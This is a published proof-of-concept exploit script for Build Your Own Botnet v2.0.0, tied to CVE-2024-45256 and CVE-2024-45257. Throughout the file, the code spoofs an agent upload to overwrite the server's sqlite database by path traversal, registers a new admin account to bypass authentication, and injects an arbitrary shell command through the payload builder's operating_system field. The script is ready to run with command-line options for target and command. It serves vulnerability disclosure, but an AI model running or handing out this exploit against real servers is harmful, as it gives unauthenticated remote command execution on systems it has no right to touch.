Build Your Own Botnet (BYOB) version 2.0.0 exploit that works by spoofing an agent callback to overwrite the sqlite database and bypass authentication and exploiting an authenticated command injection in the payload builder page.
e760438fc4aae0279f9451d259bb80bd3bc3ac05c79dc80b0f66a0ea69910f54
# Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution)
# Date: 2024-08-14
# Exploit Author: @_chebuya
# Software Link: https://github.com/malwaredllc/byob
# Version: v2.0.0
# Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3->numpy
# CVE: CVE-2024-45256, CVE-2024-45257
# Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page
# Github: https://github.com/chebuya/exploits/tree/main/BYOB-RCE
# Blog: https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/
import sys
import json
import base64
import string
import random
import argparse
import requests
from bs4 import BeautifulSoup
def get_csrf(session, url):
r = session.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
return csrf_token
def upload_database(session, url, filename):
with open('database.db', 'rb') as f:
bindata = f.read()
data = base64.b64encode(bindata).decode('ascii')
json_data = {'data': data, 'filename': filename, 'type': "txt", 'owner': "admin", "module": "icloud", "session": "lol"}
headers = {
'Content-Length': str(len(json.dumps(json_data)))
}
print("[***] Uploading database")
upload_response = session.post(f"{url}/api/file/add", data=json_data, headers=headers)
print(upload_response.status_code)
return upload_response.status_code
def exploit(url, username, password, user_agent, command):
s = requests.Session()
# This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process
filepaths = ["/proc/self/cwd/buildyourownbotnet/database.db", "/proc/self/cwd/../buildyourownbotnet/database.db", "/proc/self/cwd/../../../../buildyourownbotnet/database.db", "/proc/self/cwd/instance/database.db", "/proc/self/cwd/../../../../instance/database.db", "/proc/self/cwd/../instance/database.db"]
failed = True
for filepath in filepaths:
if upload_database(s, url, filepath) != 500:
failed = False
break
if failed:
print("[!!!] Failed to upload database, exiting")
sys.exit(1)
if password is None:
password = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)])
print(username + ":" + password)
register_csrf = get_csrf(s, f'{url}/register')
headers = {
'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
}
data = {
'csrf_token': register_csrf,
'username': username,
'password': password,
'confirm_password': password,
'submit': 'Sign Up'
}
print("[***] Registering user ")
register_response = s.post(f'{url}/register', headers=headers, data=data)
print(register_response.status_code)
login_csrf = get_csrf(s, f'{url}/login')
data = {
'csrf_token': login_csrf,
'username': username,
'password': password,
'submit': 'Log In'
}
print("[***] Logging in")
login_response = s.post(f'{url}/login', headers=headers, data=data)
print(login_response.status_code)
headers = {
'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
}
data = f'format=exe&operating_system=nix$({command})&architecture=amd64'
try:
s.post(f'{url}/api/payload/generate', headers=headers, data=data, stream=True, timeout=0.0000000000001)
except requests.exceptions.ReadTimeout:
pass
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The target URL of the BYOB admin panel", required=True)
parser.add_argument("-u", "--username", help="The username to set for the new admin account", default='admin')
parser.add_argument("-p", "--password", help="The password to set for the new admin account", default=None)
parser.add_argument("-A", "--user-agent", help="The user-agent to use for requests", default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36')
parser.add_argument("-c", "--command", help="The command to execute on the BYOB server", required=True)
args = parser.parse_args()
exploit(args.target.rstrip("/"), args.username, args.password, args.user_agent, args.command)